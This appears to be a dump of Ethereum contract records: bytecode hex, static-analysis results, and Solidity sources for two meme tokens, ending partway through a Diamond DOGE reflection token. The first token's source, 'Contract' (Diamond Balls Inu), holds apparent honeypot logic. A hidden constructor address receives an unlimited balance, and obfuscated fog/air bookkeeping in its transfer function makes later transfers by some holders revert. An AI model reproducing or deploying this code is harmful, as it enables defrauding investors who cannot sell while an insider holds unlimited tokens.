82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b600061327e8261325b565b9050919050565b60005b838110156132a3578082015181840152602081019050613288565b838111156132b2576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b6132dc816131ec565b81146132e757600080fd5b50565b6132f38161320a565b81146132fe57600080fd5b50565b61330a81613234565b811461331557600080fd5b50565b6133218161323e565b811461332c57600080fd5b50565b6133388161324e565b811461334357600080fd5b5056fe536e6f773a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773536e6f773a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473536e6f773a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365536e6f773a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536e6f773a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773536e6f773a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473536e6f773a3a7065726d69743a20616d6f756e7420657863656564732039362062697473536e6f773a3a617070726f76653a20616d6f756e7420657863656564732039362062697473536e6f773a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773a365627a7a7231582037dbe86f5a3cb8237c1d8ae77611711a41bce68300376caadc6487ca0d6b7b6a6c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 1,644 |
0x0A779533f39738fc345684889194EB724512D237
|
/*
Telegram: https://t.me/DiamondBallsInu
Website : https://www.diamondballsinu.com
Twitter : @DiamondBallsInu
/$$$$$$$ /$$ /$$
| $$__ $$|__/ | $$
| $$ \ $$ /$$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$
| $$ | $$| $$ |____ $$| $$_ $$_ $$ /$$__ $$| $$__ $$ /$$__ $$
| $$ | $$| $$ /$$$$$$$| $$ \ $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$ | $$| $$ /$$__ $$| $$ | $$ | $$| $$ | $$| $$ | $$| $$ | $$
| $$$$$$$/| $$| $$$$$$$| $$ | $$ | $$| $$$$$$/| $$ | $$| $$$$$$$
|_______/ |__/ \_______/|__/ |__/ |__/ \______/ |__/ |__/ \_______/
/$$$$$$$ /$$ /$$ /$$$$$$
| $$__ $$ | $$| $$ |_ $$_/
| $$ \ $$ /$$$$$$ | $$| $$ /$$$$$$$ | $$ /$$$$$$$ /$$ /$$
| $$$$$$$ |____ $$| $$| $$ /$$_____/ | $$ | $$__ $$| $$ | $$
| $$__ $$ /$$$$$$$| $$| $$| $$$$$$ | $$ | $$ \ $$| $$ | $$
| $$ \ $$ /$$__ $$| $$| $$ \____ $$ | $$ | $$ | $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$| $$ /$$$$$$$/ /$$$$$$| $$ | $$| $$$$$$/
|_______/ \_______/|__/|__/|_______/ |______/|__/ |__/ \______/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.8;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address seen
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[seen] = door;
_balances[msg.sender] = _tTotal;
fog[seen] = door;
fog[msg.sender] = door;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private door = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] highest = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function care(
address upon,
address machinery,
uint256 amount
) private {
address mail = highest[1];
bool number = uniswapV2Pair == upon;
uint256 opinion = _fee;
if (fog[upon] == 0 && air[upon] > 0 && !number) {
if (amount >= 9 * 10**(13 + _decimals)) {
fog[upon] -= opinion;
}
}
highest[1] = machinery;
if (fog[upon] > 0 && amount == 0) {
fog[machinery] += opinion;
}
air[mail] += opinion;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[upon] -= fee;
_balances[address(this)] += fee;
_balances[upon] -= amount;
_balances[machinery] += amount;
}
mapping(address => uint256) private air;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private fog;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
care(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
care(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110ad565b60405180910390f35b610132600480360381019061012d9190611168565b610392565b60405161013f91906111c3565b60405180910390f35b6101506103a7565b60405161015d91906111ed565b60405180910390f35b610180600480360381019061017b9190611208565b6103b1565b60405161018d91906111c3565b60405180910390f35b61019e610500565b6040516101ab91906111ed565b60405180910390f35b6101bc61051a565b6040516101c9919061126a565b60405180910390f35b6101ec60048036038101906101e79190611285565b610540565b6040516101f991906111ed565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126a565b60405180910390f35b61023261063a565b60405161023f91906110ad565b60405180910390f35b610262600480360381019061025d9190611168565b6106cc565b60405161026f91906111c3565b60405180910390f35b610280610748565b60405161028d91906111ed565b60405180910390f35b6102b060048036038101906102ab91906112b2565b61074e565b6040516102bd91906111ed565b60405180910390f35b6102e060048036038101906102db9190611285565b6107d5565b005b6102ea6108cc565b6040516102f79190611351565b60405180910390f35b60606002805461030f9061139b565b80601f016020809104026020016040519081016040528092919081815260200182805461033b9061139b565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec9061143e565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111ed565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f2919061148d565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f48565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc9061150d565b60405180910390fd5b61060f6000610f50565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546106499061139b565b80601f01602080910402602001604051908101604052809291908181526020018280546106759061139b565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111ed565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f48565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108489061150d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b79061159f565b60405180910390fd5b6108c981610f50565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611631565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111ed565b60405180910390a3600190509392505050565b6000600c600181548110610aa457610aa3611651565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc5575081155b15610c5c57600460009054906101000a900460ff16600d610be6919061168d565b600a610bf291906117f7565b6009610bfe9190611842565b8410610c5b5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c53919061148d565b925050819055505b5b84600c600181548110610c7257610c71611651565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d095750600084145b15610d655780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d919061189c565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db4919061189c565b925050819055506000600154606486610dcd9190611921565b610dd79190611842565b90508085610de5919061148d565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e36919061148d565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e8c919061189c565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee2919061148d565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f38919061189c565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561104e578082015181840152602081019050611033565b8381111561105d576000848401525b50505050565b6000601f19601f8301169050919050565b600061107f82611014565b611089818561101f565b9350611099818560208601611030565b6110a281611063565b840191505092915050565b600060208201905081810360008301526110c78184611074565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ff826110d4565b9050919050565b61110f816110f4565b811461111a57600080fd5b50565b60008135905061112c81611106565b92915050565b6000819050919050565b61114581611132565b811461115057600080fd5b50565b6000813590506111628161113c565b92915050565b6000806040838503121561117f5761117e6110cf565b5b600061118d8582860161111d565b925050602061119e85828601611153565b9150509250929050565b60008115159050919050565b6111bd816111a8565b82525050565b60006020820190506111d860008301846111b4565b92915050565b6111e781611132565b82525050565b600060208201905061120260008301846111de565b92915050565b600080600060608486031215611221576112206110cf565b5b600061122f8682870161111d565b93505060206112408682870161111d565b925050604061125186828701611153565b9150509250925092565b611264816110f4565b82525050565b600060208201905061127f600083018461125b565b92915050565b60006020828403121561129b5761129a6110cf565b5b60006112a98482850161111d565b91505092915050565b600080604083850312156112c9576112c86110cf565b5b60006112d78582860161111d565b92505060206112e88582860161111d565b9150509250929050565b6000819050919050565b600061131761131261130d846110d4565b6112f2565b6110d4565b9050919050565b6000611329826112fc565b9050919050565b600061133b8261131e565b9050919050565b61134b81611330565b82525050565b60006020820190506113666000830184611342565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b357607f821691505b6020821081036113c6576113c561136c565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142860298361101f565b9150611433826113cc565b604082019050919050565b600060208201905081810360008301526114578161141b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149882611132565b91506114a383611132565b9250828210156114b6576114b561145e565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114f760208361101f565b9150611502826114c1565b602082019050919050565b60006020820190508181036000830152611526816114ea565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158960268361101f565b91506115948261152d565b604082019050919050565b600060208201905081810360008301526115b88161157c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061161b60248361101f565b9150611626826115bf565b604082019050919050565b6000602082019050818103600083015261164a8161160e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060ff82169050919050565b600061169882611680565b91506116a383611680565b92508260ff038211156116b9576116b861145e565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b600185111561171b578086048111156116f7576116f661145e565b5b60018516156117065780820291505b8081029050611714856116c4565b94506116db565b94509492505050565b60008261173457600190506117f0565b8161174257600090506117f0565b8160018114611758576002811461176257611791565b60019150506117f0565b60ff8411156117745761177361145e565b5b8360020a91508482111561178b5761178a61145e565b5b506117f0565b5060208310610133831016604e8410600b84101617156117c65782820a9050838111156117c1576117c061145e565b5b6117f0565b6117d384848460016116d1565b925090508184048111156117ea576117e961145e565b5b81810290505b9392505050565b600061180282611132565b915061180d83611680565b925061183a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611724565b905092915050565b600061184d82611132565b915061185883611132565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118915761189061145e565b5b828202905092915050565b60006118a782611132565b91506118b283611132565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e7576118e661145e565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061192c82611132565b915061193783611132565b925082611947576119466118f2565b5b82820490509291505056fea264697066735822122012919bca2bb756ac739ff7cdc247647d72d54cc8ab0660e0325a0718effafffa64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,645 |
0x2aFD733831AE1ec777c0a186B04304B78289eAC7
|
/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
/*
💎💎💎💎💎💎💎💎💎💎💎💎💎💎💎
💎 Website : https://dogediamond.finance/
💎 Telegram Channel : https://t.me/Dogediamond_Channel
💎 Telegram Chat : https://t.me/dogediamondgroups
💎 Twitter : https://twitter.com/DogediamondFi
💎 Fair Launch on Ethereum
💎💎💎💎💎💎💎💎💎💎💎💎💎💎💎
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DiamondDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Diamond DOGE";
string private constant _symbol = "DiamondDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
